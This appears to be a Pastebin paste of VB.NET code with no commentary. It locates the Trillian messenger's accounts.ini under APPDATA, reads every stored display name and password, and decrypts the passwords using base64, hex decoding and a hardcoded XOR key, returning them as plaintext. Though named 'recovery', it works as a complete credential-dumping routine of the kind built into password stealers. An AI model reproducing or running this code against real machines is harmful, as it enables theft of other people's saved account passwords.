Advertisement
Guest User

Untitled

a guest
Jun 17th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.84 KB | None | 0 0
  1.     Public Function trillian_recovery() As String
  2.         Try
  3.             Dim filepath As String
  4.            filepath = Environ("APPDATA") & "\Trillian\users\global\accounts.ini"
  5.  
  6.             Dim msr As New System.IO.StreamReader(filepath)
  7.             Dim data As String = msr.ReadToEnd
  8.             Dim output As String = ""
  9.             msr.Close()
  10.             Dim arr As String() = data.Split(vbNewLine)
  11.             For i As Integer = 0 To UBound(arr)
  12.                 If arr(i).Contains("Display Name=") = True Then
  13.  
  14.                     Dim username As String = arr(i).Substring(14)
  15.                     Dim password As String = trillian_decrypt(arr(i + 1).Substring(10))
  16.                     output += "Username: " & username & vbNewLine & "Password: " & password & vbNewLine & vbNewLine
  17.                 End If
  18.             Next
  19.             Return output
  20.         Catch ex As Exception
  21.             Return "---"
  22.         End Try
  23.    End Function
  24.     Private Shared Function HexToString(ByVal hex As String) As String
  25.         Dim index As Long
  26.         Dim maxIndex As Long
  27.  
  28.         Dim sb As New system.text.StringBuilder
  29.         Dim returnString As String = String.Empty
  30.         maxIndex = Len(hex)
  31.         For index = 1 To maxIndex Step 2
  32.             sb.Append(Chr(CInt("&h" & Mid(hex, CInt(index), 2))))
  33.         Next
  34.         returnString = sb.ToString
  35.         sb.Length = 0
  36.         Return returnString
  37.     End Function
  38.     Public Function trillian_decrypt(ByVal pass As String) As String
  39.         Dim key() As Integer = {243, 38, 129, 196, 57, 134, _
  40.                                 219, 146, 113, 163, 185, 230, _
  41.                                 83, 122, 149, 124, 243, 38, 129, _
  42.                                 196, 57, 134, 219, 146, 113, 163, _
  43.                                 185, 230, 83, 122, 149, 124}
  44.  
  45.         Dim out As String = ""
  46.         Dim encpass As String = trillianbase64(pass)
  47.        
  48.         Dim chrarr As Char() = HexToString(encpass).ToCharArray
  49.         Dim intarr(UBound(chrarr)) As Integer
  50.         For i As Integer = 0 To UBound(chrarr)
  51.             intarr(i) = Asc(chrarr(i))
  52.         Next
  53.         For i As Integer = 0 To UBound(intarr)
  54.             out += Chr(intarr(i) Xor key(i))
  55.         Next
  56.         Return out
  57.     End Function
  58.     Public Function trillianbase64(ByVal data As String) As String
  59.         Try
  60.             Dim x As Byte() = Convert.FromBase64String(data)
  61.             Dim y As String = System.Text.Encoding.ASCII.GetString(x)
  62.             Dim z As Char() = y.ToCharArray
  63.             Dim out As String = ""
  64.             For i As Integer = 0 To UBound(z) - 1
  65.                 out += z(i)
  66.             Next
  67.             Dim asdf As Integer = out.Length
  68.             Dim test As Char() = out.ToCharArray
  69.             Return out
  70.         Catch e As Exception
  71.             Return ""
  72.         End Try
  73.     End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement